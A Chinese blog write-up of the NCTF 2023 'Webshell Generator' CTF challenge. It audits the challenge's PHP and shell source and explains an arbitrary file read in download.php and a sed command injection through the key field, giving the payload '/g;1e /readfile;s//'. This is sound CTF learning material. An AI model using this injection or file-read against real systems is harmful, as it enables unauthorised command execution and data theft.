NCTF-2023-Webshell-Generator

[NCTF 2023]Webshell Generator

以前的题目了,今天过来复现一下吧。。。
这个主要考察sed命令注入,当然这个题目它存在文件读取,难度相对来说也好了一点
打开题目页面如下:
123

经过测试发现密钥我们是可控的,还有一点在使用bp的过程中,下载webshell.php的响应包出现可疑点。

123

尝试一下能不能读取文件,很确定,当然可以😁
456
将文件index,php、download.php、generate.sh读取出来审计
index.php

<?php
function security_validate()
{
    foreach ($_POST as $key => $value) {
        if (preg_match('/\r|\n/', $value)) {
            die("$key 不能包含换行符!");
        }
        if (strlen($value) > 114) {
            die("$key 不能超过114个字符!");
        }
    }
}
security_validate();
if (@$_POST['method'] && @$_POST['key'] && @$_POST['filename']) {
    if ($_POST['language'] !== 'PHP') {
        die("PHP是最好的语言");
    }
    $method = $_POST['method'];
    $key = $_POST['key'];
    putenv("METHOD=$method") or die("你的method太复杂了!");
    putenv("KEY=$key") or die("你的key太复杂了!");
    $status_code = -1;
    $filename = shell_exec("sh generate.sh");
    if (!$filename) {
        die("生成失败了!");
    }
    $filename = trim($filename);
    header("Location: download.php?file=$filename&filename={$_POST['filename']}");
    exit();
}
?>
<html>

<head>
    <title>Webshell生成器</title>
    <meta charset="utf-8">
    <style>
        body {
            background-color: #f2f2f2;
            font-family: Arial, sans-serif;
        }

        form {
            margin: 50px auto;
            width: 400px;
            background-color: #fff;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.2);
        }

        h1 {
            text-align: center;
            color: #333;
        }

        label {
            display: block;
            margin-bottom: 10px;
            color: #666;
        }

        input[type="text"],
        select {
            width: 100%;
            padding: 10px;
            border-radius: 5px;
            border: none;
            margin-bottom: 20px;
            box-sizing: border-box;
        }

        input[type="submit"] {
            background-color: #4CAF50;
            color: #fff;
            border: none;
            padding: 10px 20px;
            border-radius: 5px;
            cursor: pointer;
        }

        input[type="submit"]:hover {
            background-color: #3e8e41;
        }
    </style>
</head>

<body>
    <form action="index.php" method="post">
        <h1>Webshell生成器</h1>
        <label for="language">Webshell语言:</label>
        <select name="language" id="method">
            <option value="PHP">PHP</option>
            <option value="PHP">PHP</option>
            <option value="PHP">PHP</option>
            <option value="PHP">PHP</option>
            <option value="PHP">PHP</option>
            <option value="PHP">PHP</option>
            <option value="PHP">PHP</option>
            <option value="PHP">PHP</option>
            <option value="PHP">PHP</option>
            <option value="PHP">PHP</option>
        </select>
        <label for="method">请求方法:</label>
        <select name="method" id="method">
            <option value="POST">POST</option>
            <option value="GET">GET</option>
            <option value="REQUEST">REQUEST</option>
        </select>
        <label for="key">密钥:</label>
        <input name="key" type="text" value="114" pattern="[A-Za-z0-9]+" title="你的key太复杂了!简单点!o.O">
        <label for="filename">Webshell文件名称:</label>
        <input name="filename" type="text" value="webshell.php">
        <input type="submit" value="生成你的专属Webshell!">
    </form>
</body>

download.php

<?php

if(isset($_GET['file']) && isset($_GET['filename'])){
    $file = $_GET['file'];
    $filename = $_GET['filename'];
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=$filename");
    readfile($file);
    exit();
}

generate.sh

#!/bin/sh

set -e

NEW_FILENAME=$(tr -dc a-z0-9 </dev/urandom | head -c 16)
cp template.php "/tmp/$NEW_FILENAME"
cd /tmp

sed -i "s/KEY/$KEY/g" "$NEW_FILENAME"
sed -i "s/METHOD/$METHOD/g" "$NEW_FILENAME"

realpath "$NEW_FILENAME"

这个文件看出$KEY$METHOD参数可控,那么可以利用这里来得到flag。
这里将其提前闭合,可将$KEY赋值为/g,然后e参数可以执行命令
sed -i "s/KEY//g;1e /readfile;//" "$NEW_FILENAME"
s/KEY//g;会把KEY置空,将上面的命令进行闭合即可
sed -i "s/KEY//g;1e /readfile;s//" "$NEW_FILENAME"
那么key只需传入/g;1e /readfile;s//
789
456

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

请我喝杯咖啡吧~

支付宝
微信